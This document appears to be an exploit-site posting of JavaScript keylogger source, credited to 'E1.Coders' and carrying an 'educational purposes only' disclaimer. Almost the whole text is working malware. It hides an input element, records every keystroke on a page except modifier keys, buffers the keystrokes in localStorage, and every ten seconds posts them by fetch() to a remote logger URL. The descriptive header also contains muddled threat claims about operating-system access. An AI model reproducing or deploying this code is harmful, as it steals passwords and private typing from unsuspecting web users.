keylogger in JavaScript 2023

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A professional keylogger in JavaScript 2023 last Update code
Code By E1.Coders
Disclaimer: This code is for educational purposes only and should not be used for malicious activities.
It uses a constructor function to create a keylogger object
It uses a hide function to hide the input element
It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc.
It uses a save function to store the data in the browser’s local storage
It uses a send function to send the data to the server using the Fetch API
It uses a clear function to clear the stored data in the local storage
It uses a start function to start the keylogger by setting an event listener and a timer
Contact: [email protected]
Threat: Vasilievich Java Script Keylogger
Vulnerability: Payload
Third-party attackers who can guess sensitive information and passwords can easily infiltrate and gain access to the operating system.

// A professional keylogger in JavaScript 2023
// Code By E1.Coders
// Disclaimer: This code is for educational purposes only and should not be used for malicious activities.
// It uses a constructor function to create a keylogger object
// It uses a hide function to hide the input element
// It uses a filter function to remove useless keys such as Shift, Ctrl, Alt, etc.
// It uses a save function to store the data in the browser’s local storage
// It uses a send function to send the data to the server using the Fetch API
// It uses a clear function to clear the stored data in the local storage
// It uses a start function to start the keylogger by setting an event listener and a timer
// Contact: [email protected]
// Threat: Vasilievich Java Script Keylogger
// Vulnerability: Payload
// Third-party attackers who can guess sensitive information and passwords can easily infiltrate and gain access to the operating system.
// Define a constructor function for the keylogger object
function Keylogger(url) {
  // Set the URL to send the data to
  this.url = url;
  // Create a hidden input element to capture the keystrokes
  this.input = document.createElement("input");
  this.input.type = "hidden";
  this.input.id = "keylogger";
  document.body.appendChild(this.input);
}
// Define a method to hide the input element
Keylogger.prototype.hide = function() {
  // Set the input style to be invisible
  this.input.style.display = "none";
};
// Define a method to filter the useless keys
Keylogger.prototype.filter = function(key) {
  // Define an array of useless keys
  var uselessKeys = ["Shift", "Control", "Alt", "Meta", "CapsLock", "Tab", "Enter", "Escape", "ArrowUp", "ArrowDown", "ArrowLeft", "ArrowRight"];
  // Check if the key is in the array
  if (uselessKeys.includes(key)) {
    // Return false to indicate that the key should be ignored
    return false;
  } else {
    // Return true to indicate that the key should be recorded
    return true;
  }
};
// Define a method to save the data in the local storage
Keylogger.prototype.save = function(key) {
  // Get the current value of the input element
  var value = this.input.value;
  // Append the key to the value
  value += key;
  // Set the input value to the new value
  this.input.value = value;
  // Store the value in the local storage with the key "data"
  localStorage.setItem("data", value);
};
// Define a method to send the data to the server using Fetch API
Keylogger.prototype.send = function() {
  // Get the value from the local storage with the key "data"
  var value = localStorage.getItem("data");
  // Check if the value is not empty
  if (value) {
    // Create a parameter object with the key "data" and the value
    var params = { data: value };
    // Convert the parameter object to a query string
    var queryString = Object.keys(params)
      .map((key) => key + "=" + params[key])
      .join("&");
    // Use the Fetch API to send a POST request to the URL with the query string
    fetch(this.url, {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
      },
      body: queryString,
    })
      .then((response) => {
        // Check if the response is successful
        if (response.ok) {
          // Clear the stored data in the local storage
          this.clear();
        }
      })
      .catch((error) => {
        // Handle any errors
        console.error(error);
      });
  }
};
// Define a method to clear the stored data in the local storage
Keylogger.prototype.clear = function() {
  // Set the input value to an empty string
  this.input.value = "";
  // Remove the item with the key "data" from the local storage
  localStorage.removeItem("data");
};
// Define a method to start the keylogger
Keylogger.prototype.start = function() {
  // Hide the input element
  this.hide();
  // Add an event listener to the document to record the keystrokes
  document.addEventListener("keydown", (event) => {
    // Get the key pressed
    var key = event.key;
    // Check if the key should be recorded
    if (this.filter(key)) {
      // Save the key in the local storage
      this.save(key);
    }
  });
  // Set an interval to send the data to the server every 10 seconds
  setInterval(() => {
    this.send();
  }, 10000);
};
// Create a new keylogger object with the URL of the server
var keylogger = new Keylogger("https://example.com/logger.php");
// Start the keylogger
keylogger.start();